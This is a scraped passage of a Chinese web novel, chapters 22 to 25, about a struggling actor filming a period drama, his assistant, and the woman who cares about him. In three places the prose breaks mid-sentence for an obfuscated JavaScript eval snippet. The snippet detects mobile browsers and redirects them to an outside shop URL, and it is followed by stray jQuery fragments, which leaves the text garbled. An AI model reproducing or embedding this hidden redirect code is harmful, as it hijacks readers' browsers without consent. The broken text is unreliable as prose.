这会儿天色渐晚,夜幕的黑纱一层层遮起白天的破旧与肮脏。路灯下面,程书仪的目光里闪动着不容置疑的认真与笃定,仿佛这世上永远不会有什么东西能拦住她。 这是祁歌第一次真切地感受到,她是这样勇敢和鲜活的一个人。 其实刚才带她回家,祁歌是稍稍有点劝退的意思。 他不是没感受到这个女孩对自己的那一点特殊,只是他现在还是个到处跑组、风餐露宿的小人物。看过了这些真相,或许她也就走了。 至少,在这一秒之前,他是这样想的。 祁歌虽然是学表演专业的,但其实并没正经接到过太多工作。他从大学就开始接广告和模特的活养活自己,到处跑组,到现在能够在一些剧组里打个酱油,拿到有那么几句词的角色,已经是奋力去争取的结果。 行业规则摆在这儿,这个职业不管是家人还是朋友都并不算太看好。 爸爸妈妈甚至说过类似不指望你给我们养老,把自己养活就算了的话。 祁歌有点想问程书仪为何会这样说,但张了张口最终还是没问出口。 他想,只要知道程书仪对自己有信心就好了。 这样就够了。 下一次见面是祁歌主动提的。 他终于拿到了一次1.5的剧本,虽然还是个小配角,但觉得很值得庆祝一下。 所谓的1.5,指的是这次发给他的剧本不是一小段两三句话,而是居然有1.5页,台词多到居然是需要花时间背一下的。 “这次是1.5,那你以前是几?”程书仪在微信上打字问。 “之前经常0.5,很少是1。”祁歌回道。 “不知道为什么,总觉得你这句话看上去有些问题。”程书仪说。 祁歌自己回看了一遍,又反应了半天,终于明白她在说什么。 明白了之后祁歌一整个无语,这女孩到底在想什么啊! 程书仪到餐厅的时候看到他还在看剧本:“还在琢磨啊?” “嗯,你帮我看看?”祁歌递上两张纸过去。 程书仪读了一遍。 然后顶着祁歌期待的目光又读了一遍。 “不是,这啥意思啊,没头没尾的?”程书仪读得一脸懵。 “我们小配角的剧本就是这样的,”祁歌笑起来,“只给你自己的那句词,情节逻辑一概不知。” 程书仪觉得挺新鲜:“啥时候拍?我能去看吗?” “明天拍……探班恐怕还不行。” 大概是看出程书仪的遗憾,祁歌提议说:“要不要吃完饭帮我对对词儿?” “好啊好啊。”程书仪跃跃欲试。 那天……都对了什么词儿来着。 程书仪努力回想半天,发现确实不记得了。 只记得有些时候祁歌觉得自己演得不好,会要求她从某一句重新来一遍。 一来二去的,这1.5页里所有的词他都背了下来。 对完了词,祁歌问程书仪还有没有别的事,要不要一起去转转,散散步什么的。 “要不要去玩剧本杀?”程书仪提议。 “剧本杀?”祁歌不解,“我们演员玩剧本杀,不等于掏钱加班吗?” “那可不一样,”程书仪说,“这次你演的可是大男主啊。” 祁歌多看了她几眼:“不会是在阴阳怪气我吧。” 22. 自虐狂 “文娱频道的观众朋友们大家好,我是祁歌,欢迎大家跟着镜头来我们剧组探班,今天我来担任导游。” “哎对对,祁老师你就拿着麦克在前面带我们走就行,我们摄像老师跟上。” 祁歌点点头,比了个“OK”的手势,侧着身子后退了几步,将镜头引向拍摄现场:“这边就是我们的拍摄场地了,今天早上刚拍完的是一段生活戏,场景就是在影视城的这条街上搭建起来的,等一会儿还有几个镜头要在这边拍。大家可以看到,这里的街景布置非常精致,所有的道具都跟真的一样。” “这些是可以吃的吗?”主持人指着旁边扎着的糖葫芦问道。 “万万不可这个是道具,”祁歌连忙阻止,“这些置景用的食物都是假的,实拍的时候道具老师才会拿几个真的过来。” “原来如此,怪不得这么热的天都不融化。” “是啊,”祁歌笑着向街道尽头的房子示意,“穿过这条街道,那边的工作间就是我们暂时的服装区和道具区,演员们这几天需要的衣服都在里面。” 镜头跟着他进了房间,只见屋里摆着一片黑压压的衣服架子,上面挂着密密麻麻五颜六色的戏服。 “这些衣服和配饰都是开拍之前就搭配好的,在这里,”祁歌指着墙上贴得整整齐齐的一大片照片,“这些就是定妆照,我们拍摄时会根据不同场景匹配这些造型。” 他一手举着麦克,一手撑着那一大排落地的不锈钢衣服架子侃侃而谈,却不知怎的忽然脚下没站稳,带着衣服架子歪了过去。 “哎哎哎小心小心……”现场的工作人员连忙帮忙,好险把这一架子重重的衣服扶住了。 “谢谢老师,”祁歌跟帮忙的老师道谢,“差点闯祸了,这儿还录着,直接给我抓个现行。” 他说着对着镜头吐了吐舌头。 主持人和摄像老师都笑了。 “好的请把刚才那个小插曲剪掉,我们继续带大家逛逛剧组,服装间旁边的这个房间呢就是演员休息室了。” 祁歌打起门帘,领着主持人和摄像师从中间的小门进入所谓的休息室。这个房间不算太大,有空调降温,里面放着好几条凳子,大家正三三两两地坐着休息。 “好啦,到这里我的导游工作就要结束了,现在我来把镜头交给欣欣,由她带大家继续参观。” 祁歌来到欣欣面前,稍稍交接了几句,终于将话筒递了出去。 今天他们剧组开放媒体探班,排的戏份不算太多,只有一个简单的逛街戏和一场点到为止的打戏。目标是力争不泄露情节,并展现专业的态度。 “祁老师,等下下了戏还有个采访哈。”有工作人员过来通知说。 “哎我知道了。”祁歌答应着往外走。 “祁歌?”欣欣忽然从后面叫他。 “怎么了?”祁歌回头看去。 “对祁歌就是像我哥哥一样,在片场也非常照顾我,”欣欣对着镜头介绍说,“我还喝过他的绿豆水。” “啊……对了,”祁歌提着裙摆又走回镜头前,“我也得夸两句,欣欣老师人特别好,总是给大家买奶茶,我都不好意思了。那天我公司给拿的绿豆汤我可给你分了啊,也算有来有往了。” “那你还用过我的清凉油呢!”欣欣强调。 “你也吹我小风扇了啊……”祁歌不甘示弱。 “你……” “好了好了,我先走了啊,一会儿里面见。”祁歌笑吟吟一番营业之后,头也不回地出了门。 一出门阿远就戴着遮阳帽和口罩迎了上来:“哥你采访采哪儿去了,找你半天。” 祁歌闭着眼伸手抓了下她手腕:“给我个糖。” “你又又又晕?”阿远大惊。 “没那么严重,”祁歌站在原地深呼吸了几口,“可能就是太热了。” “那你热你不在休息室多吹会儿空调,跑出来干什么。”阿远将剥开的糖递给他,想扶他转身回房间歇着。 “别别,不回去了,我去阴凉地坐会儿吧。”祁歌很是坚持,身残志坚地向不远处放在屋檐下面的椅子走去。 这会儿导演正在检查镜头里的光线,准备拍下一条,看到祁歌过来便说:“歌歌吃过饭了?来试一条不?” 阿远当即就想说话,被祁歌拦了一下。 “稍等啊导演,我喝口水,”他笑着说,“要穿衣服吗?” “啊不用,我就看下感觉。”导演说。 于是祁歌来到自己的椅子旁边,坐下来拿起水杯喝了几口,抬手将自己的腰带解了,将外袍连着披风一起脱了下来。 阿远这才看到他中衣背后都被汗浸透了。 原来这个人不是不出汗,是出汗都闷在衣服里面看不出来。 什么天选演员! 在日头暴烈的大街上走完这场戏,欣欣正好也完成了采访,导演便喊了准备开拍。 阿远担心祁歌饭都没吃撑不下来,趁服装老师帮他穿衣服的时候,又给他塞了个小面包。 祁歌很给面子地啃了两口。 阿远没忍住又去群里跟程书仪讲。 “可真能熬啊。”程书仪感叹道。 “可不嘛……对了程姐,我们下个月可能又要转回A市拍了!”阿远通报着这个好消息,“到时候找程姐玩可以吗!” “不是说这边的戏都拍完了吗?”程书仪问。 “对,但是听说之前拍过的戏改了一些,要再回去补拍一次!” 阿远的心情似乎十分雀跃,程书仪却蹙起了眉。 这种事怎么听上去也不像是寻常剧组会发生的。 一般剧组里最怕的就是转场,很少有转走再转回来的情况。 之前她还和祁歌在一起时,有一次祁歌接了个小配角,造型比较特殊,需要在两个不同的场景中以黑发白发两个造型出场。 拍摄时剧组要求他先染好白发,在室内的拍摄地点拍白发戏,然后洗掉染发剂拍室内黑发戏;之后再染白发转去外景拍白发戏,接着再洗掉拍外景黑发戏。 也就是一共要染两次洗掉两次。 程书仪觉得离谱,问为什么不先把黑发戏全拍完,再染白拍所有的白发戏? “怎么可能让剧组为了我一个小配角的造型多转一次场?”祁歌叹了口气,“但是我有提出说能不能先拍室内黑发戏,再染发将白发戏全拍完,最后再洗回黑色拍外景,这样更简单些。” “对啊这不很合理吗?这都不行?”程书仪满脑袋匪夷所思。 “不行啊,”祁歌对她笑,“副导演说了,让你干嘛你就干嘛,哪来那么多要求。” 程书仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578279|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一整个无语。 祁歌那会儿刚洗完澡,头发湿漉漉地不时滴着水,还跟她开玩笑:“于是我今天白头了两次,连你的那份也算了吧。” “什么……”程书仪反应了一下,终于明白他在说什么。 你白两次头,我们就算一起白头了吗? 哪来这么多曲曲折折的肉麻话啊这人! 她上手薅了一把祁歌半湿的头发:“快点去吹干。” “哎哟你还揪,我感觉今天拍完我头发都少了三分之一!”祁歌控诉说。 “等秃头了给你买顶假发,”程书仪安慰道,“金色大波浪那种。” 祁歌从被风吹乱的发丝缝隙间用眼刀瞪他。 这么想想,确实还没见过祁歌金色大波浪的造型。 程书仪悄悄在心里把这件事列为待办事项之一。 “回来也好,”程书仪敲字回复阿远,“回来了给你弄好吃的。” “程姐世界宇宙天下第一好!” 程书仪不由失笑。 她转头吩咐保姆阿姨最近研究点养胃的食谱,之后说不定用得上。 “是祁先生吗?”保姆阿姨问,“祁先生最近要过来?” “啊……也不是,”程书仪想了想又加了句,“不是最近,过段时间吧。” “好嘞,胃不好是要多养养……”阿姨念叨着去忙了。 程书仪自己平时吃饭以简单方便为主,不太讲究养生菜式。但考虑到祁歌每次过来的状态,还是小心照顾些为好。 就是啊,这人怎么每次过来都病秧秧的,像被虐待了似的。 “阿远,祁歌的公司有虐待他吗?”程书仪问。 阿远:?????????? 程书仪于是又问:“所以说他是有自虐倾向?” 这次阿远的正在输入闪了几下,最后什么也没说。 这下轮到程书仪充满疑问了。 ……真自虐啊? 她忍不住回想起这次重逢后的种种细节,办公大楼下面祁歌在寒风中瘸着裹紧的外套,咖啡厅里祁歌被烫伤的手臂,晚宴上祁歌仰头喝下去的那杯酒,拍戏时忍不住的咳嗽,额头上的热度,还有拉着威亚被撞到的小腿,毫不在意地沐浴着水沟里的水…… 程书仪以为自己这次可以不在意也不心疼,但历历在目的每一瞬,她都记得这样清楚。 ……但是自虐倾向还是太过了,应该不会吧,他就是敬业而已……吧? 幸好阿远的下一条消息把她从自我怀疑中救了出来:“我回来了回来了,刚才吓死我了,祁哥中暑了差点晕过去。” 程书仪心里一跳,不自觉地扭头看了眼外面高照的艳阳:“怎么回事,还是没熬住啊?” 阿远直接回了条语音:“对,而且今天有媒体探班和采访,他要一直穿着全套衣服嘛,刚才下来你不知道,脸色惨白……啊我在跟程姐讲啊,为什么不行……” 阿远的声音就断在了这里。 还有精神阻止阿远报信,看来问题不算太大。 下一条消息是祁歌的声音:“我没事,就太热了……缓一缓就好了。” 声音听着还是虚的。 程书仪划出微博转去超话里刷动态。 看到今日出妆的路透视频里祁歌的脸,才感觉稍稍安下心来。 23. 小鸽子 春花散尽,盛夏还是不可抗拒地降临了。 影视城的气温越来越离谱,很多剧组已经开始赶早赶晚,腾出中午休息时间,以免大家全体当场热死。 “歌歌你走戏可以少穿点,别又中暑了。”导演今天特别关照道。 他最近总是亲切地叫祁歌“歌歌”,剧组其他年龄大一些的老师听到便也跟着叫,还叫出了“小鸽子”等各种变体。 于是阿远把微信里三人群的群名改成了“鸽子喂养记录小组”。 你别说还挺贴切,某些小演员真就是小鸟胃,一天也吃不了几粒米。 高姐如约再次来剧组探班那天,他们正要拍一段重头戏,为此已经准备了好几天。 剧情是男女主二人郎情妾意一段时间之后,边境忽然来敌,男主作为小将军不得不跨上战马征战沙场。 而女主不肯做深闺怨妇,大方送行后,自己转身进了刺客组织,也去了前线。 这段戏是女主的高光情节,因此这几天拍摄不管是镜头聚焦还是节奏掌握,都是以女主为主的。 至于现在还被蒙在鼓里的祁歌,此刻只能怀着一腔愁绪策马前行,将无人知晓的眼泪留在这马蹄下尘土飞溅的长街。 是哭戏啊……阿远捧着脸望着拍摄现场中间牵着马等开机的祁歌。 他今天穿一身盔甲,很有种少年将军的威风意气。 平心而论,祁歌的脸不是英气深邃的那一挂,但他意外很适合这样隆重的打扮,今天越发显得清眉冷目,容颜隽秀。 阿远偷拍了几张照片。 祁歌浑然不知,低头哄马。 自从前几年有些剧组用假马拍戏被曝光引来群嘲,近几年剧组一般都用的是真马。 不过影视城的马算是最亲人乖巧的,即使演员不会骑马也很安全。 “那你会不会啊?”开拍前阿远问祁歌。 祁歌摇摇头:“还真不会,这部戏拍完真的要去学一下骑马。” “要学的啊,歌歌,”导演插话说,“学了下次我找你拍武打戏啊。” “真的吗?”祁歌眼睛都亮了,“我等会儿下戏就去学!” “……那倒是也没那么急。”导演和工作人员都笑。 拍了两个镜头,阿远看到陈逸心也过来了,穿着一身古装,后面还跟着好几个工作人员。 “陈老师今天也有戏啊?”阿远问旁边的场记老师。 “是啊,昨晚发的飞页嘛,”老师困得直打呵欠,“今天可要拍得赶一点了。” 阿远不悦地眯起眼睛盯着陈逸心他们。 她没听祁歌说起飞页的事。 或许祁歌觉得这事反正没办法左右,便也不愿讲了。 但上次不是说好的有事就说嘛!阿远气鼓鼓。 等到祁歌拍完这个镜头回来喝水,阿远立刻就揪住他问这件事。 “嗯,是有加戏,不过加的是和女主的戏,我这边没有影响……” 祁歌刚哭完一场,说话的声音带着鼻音,眼尾还有点红,导演喊化妆老师过来帮他遮一遮。 “但是……”阿远还没来得及说什么,祁歌就喝完水又跑去现场了。 那场分别的哭戏刚拍完特写,还要再拍一遍近景,一遍全景,一遍远景。 就算全都一遍过,祁歌这场戏也要哭四次。 刚才等戏的时候祁歌给阿远科普,演好第一次不算是最难的部分,难的是后面很多遍要保持同样的状态,完美地把这段表演一遍又一遍复刻。 “那拍远景的时候看不太清吧,也要真的哭啊?”阿远问。 “哭还是要哭的,”祁歌说,“现在镜头那高清程度,一根头发丝变了位置都看得到。” 阿远看着他哭了一遍又一遍,最后人都哭脱力了,终于拍好这个镜头之后,下马的时候差点没站稳。 “没事吧?”她赶快冲上去关心。 祁歌没说话,只抬眼看了她一眼。 他整个人还在戏里,眼睛里盈着泪,还盈着许多说不清的委屈流连,这感情浓度真的太高了,只一眼就让阿远退了半步。 演员入戏这么吓人的吗…… “歌歌先缓一会儿哈,”导演保持贴心人设,“但要缓快一点,我们下面还是先跟住拍你后面行进的那个镜头。来欣欣和小陈你们趁这会儿走一下戏,等一下好接。” 祁歌一直没说话,自己沉默着在椅子上坐下,仰头闭上了眼睛。 一滴眼泪从他眼角滑落下来。 阿远赶紧给他拿纸去擦:“好了好了,小鸽子不哭了。” 祁歌真被她气笑了一下:“没事不用管我,我得留着这个感觉,等下还要这个情绪。” “哦,好吧,给你吃点饼干。”阿远把投喂放在他手上,“别哭晕了一会儿。” 陈逸心在这场戏里增加的戏份是在男主离开后,帮助女主进入刺客组织,算是女主去沙场的引路人。 看起来也是很重要的戏份。 由于有自己的立场,阿远在后面看得愤愤不平。 男主领兵出征,你在这儿偷家带女主练本领,是想等男主战死之后继承他的老婆吗? 真不知道非得加这种戏到底意义何在。 ——不会最后他还要舍生忘死救女主,获得许多高光画面吧?! 阿远一怒之下怒了一下之后,转头想找祁歌吐槽,却看到祁歌目光无神,呆呆地望着片场,好像还沉浸在自己的离愁别绪里。 “哇哥啊这个情节你不别扭吗?”阿远忍不住问,“咋还这么真情实感地伤感上了。” 祁歌抬眼看了她一眼,慢吞吞地答:“我转身了啊。” 阿远没听懂他话里的意思。 “我转身之后的情节是他们的,我看不到,又怎么会觉得别扭……”祁歌解释说。 阿远大为震撼。 演员是可以这样保持入戏状态的吗? 因为角色毫不知情,自己就可以不做出任何反应? 阿远忽然就想起,祁歌一直都没把自己心理问题的事告诉程书仪。 是因为……那时候他们已经各自转身了吗? 当时祁歌的具体情况,高姐没说太多,但寥寥几句已经让人觉得难受。 程书仪如果知道……会像她习惯表现出的那样心软吗? 还是会觉得应该更敬而远之? 说实话,阿远不觉得会是后者,但她也不敢赌这个可能性。 她一个旁观者尚且如此,祁歌对这些守口如瓶,似乎也就可以理解了。 祁歌很快被召唤回镜头下,完成今天的最后一个镜头。 镜头里他收起眼泪,昂着头在飘舞的军旗下出了城门,奔向那他终将葬身的沙场。 阿远看他翻身上马,脸上还留着泪痕,眼神却坚定起来。 征途漫漫,他是主帅,只能将这份遗憾留在心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578280|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扬鞭策马不遗余力地前行。 导演说这一段要拍长一点,后面还要和女主打算进入刺客组织的戏份剪切在一起做蒙太奇用。 好残酷啊,阿远心想。 泪痕未干,女主身边已经有了男配。 他们下一次见面就是女主遇到危险,男主祁歌去救人。 再然后呢?剧本上是男女主双双惨烈战死,但是现在很多戏份在更改,据说古代篇的结局可能还会有变动。 她正在发呆,忽然肩头被人拍了一下。 “高姐!”她吓了一跳,“你怎么过来了?” “祁歌没跟你说吗?”高姐抱臂盯着场上,“他这是咋了,这么惨。” 阿远张了张嘴又闭上了。 怎么说呢,是挺惨的。 这个情绪祁歌已经保持了大半天,大概早已筋疲力尽,却仍要打起十二分的精神。 “那人怎么也在?那个姓陈的小孩。”高姐又问。 “啊,是加了配角的戏,”阿远赶紧把自己知道的都说出来,“昨天发的飞页,祁哥说他的戏没动,是加了男配和女主的戏。” “又加戏?”高姐亮着嗓子大声质疑,引来周围一片目光。 “啊哈哈,哈哈,”阿远打着尴尬的哈哈,“是啊……” “我去找制片说去。”高姐转身就走。 好好好,打起来。阿远有点看热闹不嫌事大地想。 祁歌这人就是太温和,显得太好欺负了! 不过话说回来,这种事倒也不是演员说了算的。 阿远叹了口气。 没一会儿高姐就回来了。 “怎么样?”阿远赶忙问。 高姐摇摇头冷笑一声:“应付我……没事,回头我带个法务去找他闹。” 高姐还是刚啊,阿远吐吐舌头。 由于高姐坐镇探班,镜头里祁歌一条拍完,阿远连忙冲上去殷勤地准备擦汗递水。 她走得近,因此看得很清楚,祁歌这次是被扶下马的,脸色已经很憔悴。 导演要再看一遍刚才拍的这段,他便抓着缰绳倚在马旁边等着。 “好,这条过了!”导演发话道。 祁歌几乎是立刻应声要往下滑。 阿远赶紧一把将他搀住了:“哥,哥,你别晕这儿,高姐在这儿呢。” 祁歌眼睛都垂下去了,听到她说话又强睁了起来:“我没事我还行……扶我一下。” 阿远扶他在旁边稍坐了一下,又喂他了一颗糖,看他脸色终于缓过来点,也恢复了点力气,还恍若无事跟高姐挥了挥手。 “哭太久了,有点缺氧。”祁歌苍白地解释了一句,艰难地站起来,却刚迈了一步又吸了口气不动了。 “咋了又?”阿远忙问。 祁歌的表情有点奇怪的隐忍,暗自呲了下牙:“没……” “……就是屁股颠得好疼。” 三分钟后,小鸽子新一天的历劫笑话已经在喂养群里获得了程书仪三串哈哈哈哈哈哈哈。 “喂,”祁歌一脸黑线在群里发言,“我还在这儿呢。” “对不起,”程书仪表现出微弱的同情心,“下次来我朋友马场,给你特训。” “行。”祁歌说,“一言为定。” “哥,你先操心你的屁股吧……”阿远发来第二天的通告截图。 白纸黑字写着,祁歌要去B组拍一整天的骑马戏。 24. 安全感 其实祁歌所在这个剧组是个小剧组,拍摄中需要开B组的情况并不太多。 之前开过两次B组,都是需要拍副线,或者是要拍些空镜和衔接镜头。 像这样开B组拍男主戏的情况还是第一次。 经过昨天一天的练习,祁歌的骑马戏熟练了很多,但接下来的戏份还是很有挑战性。 因为今天起这个场地要拍的是沙场戏。 这里位于影视城的边缘,有较大的一片土黄色空地,专门用来拍城墙下的战争场面。 导演在盯A线,这边由副导演监场,说这些镜头需要拍好几天,大部分时间可能需要祁歌候场,少不得辛苦一下云云。 “既然是要候场,为什么不等到要拍我们的戏再过来?”阿远提出疑问。 “说得对,”高姐非常认可,“我这就去跟副导说一下,给我们找个地方休息,等叫到再来就行了。” 她说着就去协调,并命令阿远收拾东西准备换地方。 没有人理会祁歌弱弱的抗议:“没事要不就等会儿……” 高姐在这边,真是太好了!阿远热泪盈眶,安全感爆棚。 他们很快获得在服化道房间的一角休息的许可。 祁歌坐下来就没精打采地眯了个觉。 阿远悄悄拉着高姐聊了一会儿,稍稍交流了一下小鸽子最近的饲养情况。 虽然最近祁歌总是给人一种淡淡的死感,但阿远觉得他还是积极配合自己的投喂和关心的,只不过祁歌对自己不上心好像已经成了习惯。 “这有什么,哪个演员不是摸爬滚打上来的,”高姐在空中虚拟点烟,“拍完这部休息休息就好了。” “那上次祁哥是怎么好的?”阿远忽然有些好奇。 “上次……自己想通的吧,”高姐想了想,叹了一声,“不过那之后他身体就不算太好,唉,一天天没一个省心的。” 她在这边探班,手机上还不停地接打着电话,说今晚陪祁歌看完医生,明早就要走。 “姐你辛苦了。”阿远由衷地说。 阿远低下头看了眼手机,才发现粉丝群有了空降提示,是祁歌自己进粉丝群聊天了。 这几天在线上他都不见踪影,之前的种种纷扰,粉丝们从一开始义愤填膺众说纷纭到现在也都逐渐平静下来。没办法,正主太佛粉丝也很难凝聚战斗力。 祁歌先回应了大家的关切,说身体很好,拍戏也很顺利。拍摄中途需要改戏是很常见的,不必过于担忧。 粉丝们最近跟踪祁歌的近况全靠看路透,这会儿已经聊起祁歌现在正在拍的战场戏。 “你们消息是不是太灵通了?”祁歌惊讶,“先说好,都不要去看剧透啊,等我们剧集上线。” “接一个期待顺利上线。”有粉丝发言说。 后面齐刷刷开始跟队形。 祁歌过了半天才回:“谢谢你们,希望会吧。” 阿远一边看聊天记录,一边已经走到了祁歌身边:“大家为什么开始许愿顺利上线,之前有哪个剧没顺利上线吗?” 祁歌还半躺在那里,闻言诧异地看了她一眼。 “怎么了?”阿远不明所以。 “你不如说……哪个顺利上了吧。”祁歌摇头笑了一声。 这么惨吗……阿远啧舌:“为什么会上不了?” “很多原因,但最主要的是担心收不回成本,干脆压一压……” 祁歌还没说完,那边忽然有场记老师来叫,说导演喊等下走个戏,让祁老师先整理下造型。 说实话,这是阿远跟着进组这么长时间以来,第一次有点体会到主演的待遇。 之前祁歌都是早早到片场,乖乖坐板凳等戏,从来不需要人叫的。 祁歌答应了一声,欠身起来站起来就往外走。也不知道他是身体虚没站稳还是房间太暗,刚走了一步就一头撞在了服装架上。 阿远被这“咣当”一声巨响吓一跳,赶快起身探头检查他脑袋:“没事吧?” 祁歌捂着脸不肯抬头:“咱们走快点的话……会不会其他老师就发现不了是我……” 还有空考虑形象问题,看来脑袋是没啥事。阿远翻白眼。 也不知道怎么回事,这段小乌龙居然也被过来取衣服的群众演员拍到,迅速传到了群里。 今日笑料这不就有了吗,程书仪循环看了三遍“咣当”,笑得停不下来。 她立马将此视频转发到鸽子饲养群。 没想到前脚刚发完,后脚祁歌的视频邀请就进来了。 程书仪做贼心虚想按掉,却手一抖点成了接听。 画面里立刻出现祁歌笑吟吟的脸:“今天不忙吗?我看你很闲啊。” 这话绝对是在阴阳怪气。 程书仪把手机拿远一点给他看周围的环境:“我在家,今天还没去公司呢,关心一下您脑袋有没有问题。” 嘿嘿,能打败阴阳的只有直接嘲讽。 祁歌笑着的嘴角有点僵:“还没开工真幸福啊,阿远你羡慕吗?” 阿远撇着嘴的脸出现在画面里:“怎么说,我反正不用顶着40度穿一身盔甲骑马玩。” 祁歌的脸终于垮了下去:“够了,我懂了,我果然是底层人士。” “怎么会,”程书仪笑了起来,“你可是大明星来者。” 她凑近了镜头看了几眼,确定祁歌脑袋是真没啥问题,便放心地道了再见:“注意防暑啊。” 祁歌将手机收起来,低着头沉默了半晌。 “走吧哥,”阿远催他,“马术老师在那边等你了。” “你说,她是不是把我当成一种娱乐?”祁歌问。 “啊?” “算了没事。”祁歌把自己随身的包扔给阿远,快步走向拍摄现场那边了。 是……最近嘲笑他太多了,不高兴了? 阿远站在原地,脑袋里如同生锈了一般缓缓旋转。 她生平没正经谈过几次恋爱,实在搞不懂祁歌这种心思又多又细密的人到底是怎么想的。 难道是觉得让程书仪看到自己出糗,觉得没面子了? 阿远决定今天多拍一些路透照发到三人群私享,挽回一下祁歌的形象。 其实这段打仗的戏可能最多也就一两集,几十分钟的戏份。但导演为了保证画面到位,专门找了不少群演和武打老师,祁歌这边更是要学习一些骑马的动作,尽可能拍得气势宏大一些。 “放心吧,我们的马都是很乖的,”马术老师一上来就说,“我会一直在镜头外面保护。” 祁歌笑着点点头,在老师的帮助下纵身上马:“我不太会,麻烦您多教教我。” 他这个场景的戏大概分两个阶段,前期是战争前期带兵冲杀的威风凛凛,后期是人困马乏勉强支撑,最后虽然获胜但身受重伤。 阿远其实有点怕后面那个部分,感觉又会好虐心。 作为热身,先拍的是一段祁歌在队伍最前面领兵行进的情节。 群众演员已经编队完成整装待发,看上去纪律严明,很有那种气势。 “好了听我口令一起走。”工作人员举着个扩音器喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578281|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口号,“预备——前进。” 祁歌稍稍夹马,令披挂一新的战马向前行进。 马术老师在镜头后面给到提示,控制第一排的马保持队伍整齐、速度一致。 骑兵后面的步兵则听着扩音器里“一二一”的口令整齐向前。 这个镜头需要分多个景别拍,他们在这片不算太大的地方来回走了十多次才总算拍好。 “接下来拍一版稍快速度的……” 阿远本来没见过剧组拍这种大场景,站在旁边跃跃欲试地想要欣赏一下,没想到看了半个多小时还没有看出丝毫进展,不由打了个呵欠。 “阿远,”高姐不知道从哪打完电话回来,匆匆吩咐了一句,“下午下了戏让祁歌等着我啊,我出去一趟。” “啊,好。”阿远答道。 她再把目光转回场上时,场上气氛已经变得不同。 由于速度加快,马蹄扬起阵阵尘沙,在空中缭绕起战斗的感觉。祁歌手上紧拽着缰绳,身体伏低目视前方,嘴里不知道喊了一声什么。 是一个冲锋的姿势。 太帅了吧! 阿远掏出手机打算拍一点,没想到刚开始录像,冲锋就结束了,祁歌艰难直起身,被地上溅起尘土呛得咳嗽不止。 这……还是别发了。 阿远装若无事地收起手机,拎起水杯去给祁歌送水。 “谢谢。”祁歌已经在老师帮助下下了马,接过水杯喝了几口。 天气太热,他额角有汗滴顺着脸颊流到下巴。 化妆老师过来给擦了。 “下一幕要拍短兵相接了,祁歌要带威亚哈。”副导演说。 “好。”祁歌点点头。 眼看已经到了中午放饭时间,阿远早就给祁歌准备好了粥和饭菜,摆在他们之前歇脚的小屋里。 由于一会儿要吊威亚,衣服反正也要重新穿,祁歌这会儿就把盔甲和外衣都脱了,只剩一件白色的中衣。 拍摄场地上的士兵群演们也纷纷脱了外衣解下腰带,看上去竟是差不多打扮。 于是祁歌出去上了厕所再回来,就被拦在了服化间外面。 “不能去这里面吃饭,”门口的工作人员说,“我们主演在里面。” 祁歌愣了愣,一时不知道该说什么。 旁边有群演听到,笑着过来调侃,说你知道里面是给主演用的,你认识主演吗?这不远在天边近在眼前…… 工作人员这才赶紧道歉,让祁歌进去了。 “怎么了?”阿远看祁歌进来就有些心不在焉。 “没,”祁歌对她笑笑,“你知道拍这种戏,群演一般都在哪吃饭吗?” 阿远摇摇头。 这附近也没什么休息区之类的,群演又人数众多,这个问题她还真没想过。 “我之前在墙根蹲着吃过饭,在荒郊野外随便坐下吃过饭,甚至在厕所马桶上吃过饭。”祁歌笑了笑,低头舀了勺粥,“那时候觉得也太难了,哪天能坐到主演吃饭的房间里去呢?” “那我看……那儿哥你也不太爱坐啊?”阿远终于提出了困扰自己很久的问题。 祁歌好像很不喜欢去剧组给主演提供的用餐区吃饭,一般都是让阿远拿了盒饭在自己椅子上解决。 “后来有次演小配角,主演好心领我进去吃……”祁歌挖了一勺粥放在嘴里慢慢咀嚼,“被赶出来了。” 这五个字他说得有些含糊,语气轻描淡写,却让阿远愣了半天。 好家伙,非要这时候忆苦思甜吗,饭盒里的鸡腿都不香了。 25. 碾作尘 祁歌也说不清那时候是怀着怎样的心情,拍了些剧组的见闻发到网上。 他自觉其中没什么太有意义的内容,不过是忙忙碌碌的大夜,几可乱真的布景,随处堆放的道具,还有千篇一律简单的份饭,包子咬一大口都看不到馅。 “等等,”他的目光离开镜头,低下头重新检查了一下手里的包子,“不好意思拿错了,这个是馒头。” 评论区一片哈哈哈哈哈哈。 辛苦和狼狈有时候是好笑的,祁歌慢慢懂了,也用这种好笑去看待周围的一切。 从主演到群演分出三六九等是好笑的,资方一句话改变整个故事结构是好笑的,群演们在泥浆里悬崖边艰难求生也是好笑的。 ——至少对看客来说。 程书仪就是在那时候出现,驻扎在评论区忠实地跟进他的每一个动向。 